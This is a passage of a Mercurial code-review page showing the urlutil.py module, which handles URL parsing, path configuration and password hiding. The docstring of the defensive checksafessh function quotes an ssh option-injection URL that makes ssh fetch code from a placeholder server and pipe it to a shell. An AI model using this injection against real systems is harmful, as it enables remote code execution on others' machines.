##// END OF EJS Templates
urlutil: use bytes for Abort messages...
Matt Harbison -
r47690:93c224dc default
parent child Browse files
Show More
@@ -1,712 +1,712 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23
23
24 if pycompat.TYPE_CHECKING:
24 if pycompat.TYPE_CHECKING:
25 from typing import (
25 from typing import (
26 Union,
26 Union,
27 )
27 )
28
28
29 urlreq = urllibcompat.urlreq
29 urlreq = urllibcompat.urlreq
30
30
31
31
32 def getport(port):
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
34 """Return the port for a given network service.
35
35
36 If port is an integer, it's returned as is. If it's a string, it's
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
38 service, error.Abort is raised.
39 """
39 """
40 try:
40 try:
41 return int(port)
41 return int(port)
42 except ValueError:
42 except ValueError:
43 pass
43 pass
44
44
45 try:
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
47 except socket.error:
48 raise error.Abort(
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
49 _(b"no port number associated with service '%s'") % port
50 )
50 )
51
51
52
52
53 class url(object):
53 class url(object):
54 r"""Reliable URL parser.
54 r"""Reliable URL parser.
55
55
56 This parses URLs and provides attributes for the following
56 This parses URLs and provides attributes for the following
57 components:
57 components:
58
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
60
61 Missing components are set to None. The only exception is
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
62 fragment, which is set to '' if present but empty.
63
63
64 If parsefragment is False, fragment is included in query. If
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
66 False, both fragment and query are included in path.
67
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
69
70 Note that for backward compatibility reasons, bundle URLs do not
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
71 take host names. That means 'bundle://../' has a path of '../'.
72
72
73 Examples:
73 Examples:
74
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
95
96 Authentication credentials:
96 Authentication credentials:
97
97
98 >>> url(b'ssh://joe:xyz@x/repo')
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
102
103 Query strings and fragments:
103 Query strings and fragments:
104
104
105 >>> url(b'http://host/a?b#c')
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
109
110 Empty path:
110 Empty path:
111
111
112 >>> url(b'')
112 >>> url(b'')
113 <url path: ''>
113 <url path: ''>
114 >>> url(b'#a')
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
120
121 Only scheme:
121 Only scheme:
122
122
123 >>> url(b'http:')
123 >>> url(b'http:')
124 <url scheme: 'http'>
124 <url scheme: 'http'>
125 """
125 """
126
126
127 _safechars = b"!~*'()+"
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
136 self._localpath = True
137 self._hostport = b''
137 self._hostport = b''
138 self._origpath = path
138 self._origpath = path
139
139
140 if parsefragment and b'#' in path:
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
141 path, self.fragment = path.split(b'#', 1)
142
142
143 # special case for Windows drive letters and UNC paths
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
145 self.path = path
146 return
146 return
147
147
148 # For compatibility reasons, we can't handle bundle paths as
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
149 # normal URLS
150 if path.startswith(b'bundle:'):
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
151 self.scheme = b'bundle'
152 path = path[7:]
152 path = path[7:]
153 if path.startswith(b'//'):
153 if path.startswith(b'//'):
154 path = path[2:]
154 path = path[2:]
155 self.path = path
155 self.path = path
156 return
156 return
157
157
158 if self._matchscheme(path):
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
159 parts = path.split(b':', 1)
160 if parts[0]:
160 if parts[0]:
161 self.scheme, path = parts
161 self.scheme, path = parts
162 self._localpath = False
162 self._localpath = False
163
163
164 if not path:
164 if not path:
165 path = None
165 path = None
166 if self._localpath:
166 if self._localpath:
167 self.path = b''
167 self.path = b''
168 return
168 return
169 else:
169 else:
170 if self._localpath:
170 if self._localpath:
171 self.path = path
171 self.path = path
172 return
172 return
173
173
174 if parsequery and b'?' in path:
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
175 path, self.query = path.split(b'?', 1)
176 if not path:
176 if not path:
177 path = None
177 path = None
178 if not self.query:
178 if not self.query:
179 self.query = None
179 self.query = None
180
180
181 # // is required to specify a host/authority
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
184 if len(parts) > 1:
185 self.host, path = parts
185 self.host, path = parts
186 else:
186 else:
187 self.host = parts[0]
187 self.host = parts[0]
188 path = None
188 path = None
189 if not self.host:
189 if not self.host:
190 self.host = None
190 self.host = None
191 # path of file:///d is /d
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
193 if path and not hasdriveletter(path):
194 path = b'/' + path
194 path = b'/' + path
195
195
196 if self.host and b'@' in self.host:
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
200 if not self.host:
201 self.host = None
201 self.host = None
202
202
203 # Don't split on colons in IPv6 addresses without ports
203 # Don't split on colons in IPv6 addresses without ports
204 if (
204 if (
205 self.host
205 self.host
206 and b':' in self.host
206 and b':' in self.host
207 and not (
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
209 )
210 ):
210 ):
211 self._hostport = self.host
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
213 if not self.host:
214 self.host = None
214 self.host = None
215
215
216 if (
216 if (
217 self.host
217 self.host
218 and self.scheme == b'file'
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
220 ):
221 raise error.Abort(
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
222 _(b'file:// URLs can only refer to localhost')
223 )
223 )
224
224
225 self.path = path
225 self.path = path
226
226
227 # leave the query string escaped
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
229 v = getattr(self, a)
230 if v is not None:
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
231 setattr(self, a, urlreq.unquote(v))
232
232
233 def copy(self):
233 def copy(self):
234 u = url(b'temporary useless value')
234 u = url(b'temporary useless value')
235 u.path = self.path
235 u.path = self.path
236 u.scheme = self.scheme
236 u.scheme = self.scheme
237 u.user = self.user
237 u.user = self.user
238 u.passwd = self.passwd
238 u.passwd = self.passwd
239 u.host = self.host
239 u.host = self.host
240 u.path = self.path
240 u.path = self.path
241 u.query = self.query
241 u.query = self.query
242 u.fragment = self.fragment
242 u.fragment = self.fragment
243 u._localpath = self._localpath
243 u._localpath = self._localpath
244 u._hostport = self._hostport
244 u._hostport = self._hostport
245 u._origpath = self._origpath
245 u._origpath = self._origpath
246 return u
246 return u
247
247
248 @encoding.strmethod
248 @encoding.strmethod
249 def __repr__(self):
249 def __repr__(self):
250 attrs = []
250 attrs = []
251 for a in (
251 for a in (
252 b'scheme',
252 b'scheme',
253 b'user',
253 b'user',
254 b'passwd',
254 b'passwd',
255 b'host',
255 b'host',
256 b'port',
256 b'port',
257 b'path',
257 b'path',
258 b'query',
258 b'query',
259 b'fragment',
259 b'fragment',
260 ):
260 ):
261 v = getattr(self, a)
261 v = getattr(self, a)
262 if v is not None:
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
264 return b'<url %s>' % b', '.join(attrs)
265
265
266 def __bytes__(self):
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
267 r"""Join the URL's components back into a URL string.
268
268
269 Examples:
269 Examples:
270
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
289 >>> bytes(url(b'path'))
290 'path'
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
298 file:///D:\data\hg
299 """
299 """
300 if self._localpath:
300 if self._localpath:
301 s = self.path
301 s = self.path
302 if self.scheme == b'bundle':
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
303 s = b'bundle:' + s
304 if self.fragment:
304 if self.fragment:
305 s += b'#' + self.fragment
305 s += b'#' + self.fragment
306 return s
306 return s
307
307
308 s = self.scheme + b':'
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
309 if self.user or self.passwd or self.host:
310 s += b'//'
310 s += b'//'
311 elif self.scheme and (
311 elif self.scheme and (
312 not self.path
312 not self.path
313 or self.path.startswith(b'/')
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
314 or hasdriveletter(self.path)
315 ):
315 ):
316 s += b'//'
316 s += b'//'
317 if hasdriveletter(self.path):
317 if hasdriveletter(self.path):
318 s += b'/'
318 s += b'/'
319 if self.user:
319 if self.user:
320 s += urlreq.quote(self.user, safe=self._safechars)
320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
323 if self.user or self.passwd:
324 s += b'@'
324 s += b'@'
325 if self.host:
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
327 s += urlreq.quote(self.host)
328 else:
328 else:
329 s += self.host
329 s += self.host
330 if self.port:
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
332 if self.host:
333 s += b'/'
333 s += b'/'
334 if self.path:
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
339 if self.query:
340 # we store the query in escaped form.
340 # we store the query in escaped form.
341 s += b'?' + self.query
341 s += b'?' + self.query
342 if self.fragment is not None:
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
344 return s
345
345
346 __str__ = encoding.strmethod(__bytes__)
346 __str__ = encoding.strmethod(__bytes__)
347
347
348 def authinfo(self):
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
349 user, passwd = self.user, self.passwd
350 try:
350 try:
351 self.user, self.passwd = None, None
351 self.user, self.passwd = None, None
352 s = bytes(self)
352 s = bytes(self)
353 finally:
353 finally:
354 self.user, self.passwd = user, passwd
354 self.user, self.passwd = user, passwd
355 if not self.user:
355 if not self.user:
356 return (s, None)
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
362
363 def isabs(self):
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
365 return True # remote URL
366 if hasdriveletter(self.path):
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
371 return True # POSIX-style
372 return False
372 return False
373
373
374 def localpath(self):
374 def localpath(self):
375 # type: () -> bytes
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
381 path = self._hostport + b'/' + self.path
382 elif (
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
384 ):
385 path = b'/' + path
385 path = b'/' + path
386 return path
386 return path
387 return self._origpath
387 return self._origpath
388
388
389 def islocal(self):
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
390 '''whether localpath will return something that posixfile can open'''
391 return (
391 return (
392 not self.scheme
392 not self.scheme
393 or self.scheme == b'file'
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
394 or self.scheme == b'bundle'
395 )
395 )
396
396
397
397
398 def hasscheme(path):
398 def hasscheme(path):
399 # type: (bytes) -> bool
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
400 return bool(url(path).scheme) # cast to help pytype
401
401
402
402
403 def hasdriveletter(path):
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
406
407
407
408 def urllocalpath(path):
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
411
412
412
413 def checksafessh(path):
413 def checksafessh(path):
414 # type: (bytes) -> None
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
420 user.
421
421
422 Raises an error.Abort when the url is unsafe.
422 Raises an error.Abort when the url is unsafe.
423 """
423 """
424 path = urlreq.unquote(path)
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
428 )
429
429
430
430
431 def hidepassword(u):
431 def hidepassword(u):
432 # type: (bytes) -> bytes
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
433 '''hide user credential in a url string'''
434 u = url(u)
434 u = url(u)
435 if u.passwd:
435 if u.passwd:
436 u.passwd = b'***'
436 u.passwd = b'***'
437 return bytes(u)
437 return bytes(u)
438
438
439
439
440 def removeauth(u):
440 def removeauth(u):
441 # type: (bytes) -> bytes
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
442 '''remove all authentication information from a url string'''
443 u = url(u)
443 u = url(u)
444 u.user = u.passwd = None
444 u.user = u.passwd = None
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def get_push_paths(repo, ui, dests):
448 def get_push_paths(repo, ui, dests):
449 """yields all the `path` selected as push destination by `dests`"""
449 """yields all the `path` selected as push destination by `dests`"""
450 if not dests:
450 if not dests:
451 if b'default-push' in ui.paths:
451 if b'default-push' in ui.paths:
452 yield ui.paths[b'default-push']
452 yield ui.paths[b'default-push']
453 elif b'default' in ui.paths:
453 elif b'default' in ui.paths:
454 yield ui.paths[b'default']
454 yield ui.paths[b'default']
455 else:
455 else:
456 raise error.ConfigError(
456 raise error.ConfigError(
457 _(b'default repository not configured!'),
457 _(b'default repository not configured!'),
458 hint=_(b"see 'hg help config.paths'"),
458 hint=_(b"see 'hg help config.paths'"),
459 )
459 )
460 else:
460 else:
461 for dest in dests:
461 for dest in dests:
462 yield ui.getpath(dest)
462 yield ui.getpath(dest)
463
463
464
464
465 def get_pull_paths(repo, ui, sources, default_branches=()):
465 def get_pull_paths(repo, ui, sources, default_branches=()):
466 """yields all the `(path, branch)` selected as pull source by `sources`"""
466 """yields all the `(path, branch)` selected as pull source by `sources`"""
467 if not sources:
467 if not sources:
468 sources = [b'default']
468 sources = [b'default']
469 for source in sources:
469 for source in sources:
470 url = ui.expandpath(source)
470 url = ui.expandpath(source)
471 yield parseurl(url, default_branches)
471 yield parseurl(url, default_branches)
472
472
473
473
474 def parseurl(path, branches=None):
474 def parseurl(path, branches=None):
475 '''parse url#branch, returning (url, (branch, branches))'''
475 '''parse url#branch, returning (url, (branch, branches))'''
476 u = url(path)
476 u = url(path)
477 branch = None
477 branch = None
478 if u.fragment:
478 if u.fragment:
479 branch = u.fragment
479 branch = u.fragment
480 u.fragment = None
480 u.fragment = None
481 return bytes(u), (branch, branches or [])
481 return bytes(u), (branch, branches or [])
482
482
483
483
484 class paths(dict):
484 class paths(dict):
485 """Represents a collection of paths and their configs.
485 """Represents a collection of paths and their configs.
486
486
487 Data is initially derived from ui instances and the config files they have
487 Data is initially derived from ui instances and the config files they have
488 loaded.
488 loaded.
489 """
489 """
490
490
491 def __init__(self, ui):
491 def __init__(self, ui):
492 dict.__init__(self)
492 dict.__init__(self)
493
493
494 for name, loc in ui.configitems(b'paths', ignoresub=True):
494 for name, loc in ui.configitems(b'paths', ignoresub=True):
495 # No location is the same as not existing.
495 # No location is the same as not existing.
496 if not loc:
496 if not loc:
497 continue
497 continue
498 loc, sub_opts = ui.configsuboptions(b'paths', name)
498 loc, sub_opts = ui.configsuboptions(b'paths', name)
499 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
499 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
500
500
501 for name, p in sorted(self.items()):
501 for name, p in sorted(self.items()):
502 p.chain_path(ui, self)
502 p.chain_path(ui, self)
503
503
504 def getpath(self, ui, name, default=None):
504 def getpath(self, ui, name, default=None):
505 """Return a ``path`` from a string, falling back to default.
505 """Return a ``path`` from a string, falling back to default.
506
506
507 ``name`` can be a named path or locations. Locations are filesystem
507 ``name`` can be a named path or locations. Locations are filesystem
508 paths or URIs.
508 paths or URIs.
509
509
510 Returns None if ``name`` is not a registered path, a URI, or a local
510 Returns None if ``name`` is not a registered path, a URI, or a local
511 path to a repo.
511 path to a repo.
512 """
512 """
513 # Only fall back to default if no path was requested.
513 # Only fall back to default if no path was requested.
514 if name is None:
514 if name is None:
515 if not default:
515 if not default:
516 default = ()
516 default = ()
517 elif not isinstance(default, (tuple, list)):
517 elif not isinstance(default, (tuple, list)):
518 default = (default,)
518 default = (default,)
519 for k in default:
519 for k in default:
520 try:
520 try:
521 return self[k]
521 return self[k]
522 except KeyError:
522 except KeyError:
523 continue
523 continue
524 return None
524 return None
525
525
526 # Most likely empty string.
526 # Most likely empty string.
527 # This may need to raise in the future.
527 # This may need to raise in the future.
528 if not name:
528 if not name:
529 return None
529 return None
530
530
531 try:
531 try:
532 return self[name]
532 return self[name]
533 except KeyError:
533 except KeyError:
534 # Try to resolve as a local path or URI.
534 # Try to resolve as a local path or URI.
535 try:
535 try:
536 # we pass the ui instance are warning might need to be issued
536 # we pass the ui instance are warning might need to be issued
537 return path(ui, None, rawloc=name)
537 return path(ui, None, rawloc=name)
538 except ValueError:
538 except ValueError:
539 raise error.RepoError(_(b'repository %s does not exist') % name)
539 raise error.RepoError(_(b'repository %s does not exist') % name)
540
540
541
541
542 _pathsuboptions = {}
542 _pathsuboptions = {}
543
543
544
544
545 def pathsuboption(option, attr):
545 def pathsuboption(option, attr):
546 """Decorator used to declare a path sub-option.
546 """Decorator used to declare a path sub-option.
547
547
548 Arguments are the sub-option name and the attribute it should set on
548 Arguments are the sub-option name and the attribute it should set on
549 ``path`` instances.
549 ``path`` instances.
550
550
551 The decorated function will receive as arguments a ``ui`` instance,
551 The decorated function will receive as arguments a ``ui`` instance,
552 ``path`` instance, and the string value of this option from the config.
552 ``path`` instance, and the string value of this option from the config.
553 The function should return the value that will be set on the ``path``
553 The function should return the value that will be set on the ``path``
554 instance.
554 instance.
555
555
556 This decorator can be used to perform additional verification of
556 This decorator can be used to perform additional verification of
557 sub-options and to change the type of sub-options.
557 sub-options and to change the type of sub-options.
558 """
558 """
559
559
560 def register(func):
560 def register(func):
561 _pathsuboptions[option] = (attr, func)
561 _pathsuboptions[option] = (attr, func)
562 return func
562 return func
563
563
564 return register
564 return register
565
565
566
566
567 @pathsuboption(b'pushurl', b'pushloc')
567 @pathsuboption(b'pushurl', b'pushloc')
568 def pushurlpathoption(ui, path, value):
568 def pushurlpathoption(ui, path, value):
569 u = url(value)
569 u = url(value)
570 # Actually require a URL.
570 # Actually require a URL.
571 if not u.scheme:
571 if not u.scheme:
572 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
